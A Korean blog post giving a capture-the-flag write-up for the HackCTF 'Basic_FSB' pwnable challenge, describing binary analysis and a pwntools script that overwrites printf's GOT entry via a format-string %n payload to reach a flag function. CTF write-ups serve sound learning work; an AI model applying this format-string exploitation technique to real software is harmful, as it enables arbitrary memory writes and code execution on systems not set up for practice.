Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 풀이
- 머신러닝
- c++
- 백준
- c
- The Loard of BOF
- 기계학습
- siss
- 숙명여자대학교 정보보안동아리
- CSS
- Sookmyung Information Security Study
- 드림핵
- 웹페이지 만들기
- hackctf
- 생활코딩
- WarGame
- hackerrank
- lob
- PHP 웹페이지 만들기
- Python
- XSS Game
- BOJ
- C언어
- 자료구조 복습
- BOJ Python
- 숙명여자대학교 정보보안 동아리
- 파이썬
- SWEA
- Javascript
- HTML
Archives
- Today
- Total
혜랑's STORY
[HackCTF] Basic_FSB - pwnable 본문
오늘 해결할 문제는 이 사이트의 Basic_FSB 문제이다.
다운로드를 눌러 문제를 다운받아 주었고, chmod를 통해 파일에 실행할 수 있는 권한을 부여하였다.
실행해본 결과 입력한 내용을 그대로 출력해주고 있는 것 같다.
checksec을 통해 파일을 열어보니
32bit 바이너리 파일이며 아무런 보호기법도 걸려있지 않았다.
IDA를 통해 열어본 결과
바로 vuln() 함수를 호출하고
vuln() 함수는 입력을 받은 것을 바로 출력하고 있었다.
이어 함수 목록을 살펴본 결과
flag 함수가 있었고 이 함수를 실행시켜 flag를 얻는 문제라고 생각하였다.
또한 문제의 이름에서 힌트를 얻어 fsb 취약점이 발생한다는 것을 알 수 있었고 입력으로 %x를 준 결과
2번째 인자를 건너뛰고 %X의 형식으로 출력하는 것을 알 수 있다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', '3002')
e = ELF('./basic_fsb')
payload = ''
payload += p32(e.got['printf'])
payload += '%134514096x%n'
r.recv(0x8)
r.sendline(payload)
r.interactive()
%n은 이전까지 입력되었던 문자열의 길이(byte) 수만큼 해당 변수에 저장시키기 때문에 메모리의 내용도 변조 가능하다.
위의 취약점을 이용하여 payload를 작성하였고 성공하여 flag를 얻을 수 있었다.
'2021 SISS 21기 활동 > 여름방학 CTF[연합]' 카테고리의 다른 글
[HackCTF] Smooth CipherText - Cryptography (0) | 2021.08.11 |
---|---|
[HackCTF] Great Binary - cryptography (0) | 2021.08.10 |
[HackCTF] Basic_BOF #2 - pwnable (0) | 2021.08.10 |
[picoCTF] asm1 - Reverse Engineering (0) | 2021.08.05 |
[picoCTF] crackme.py - Reverse Engineering (0) | 2021.08.05 |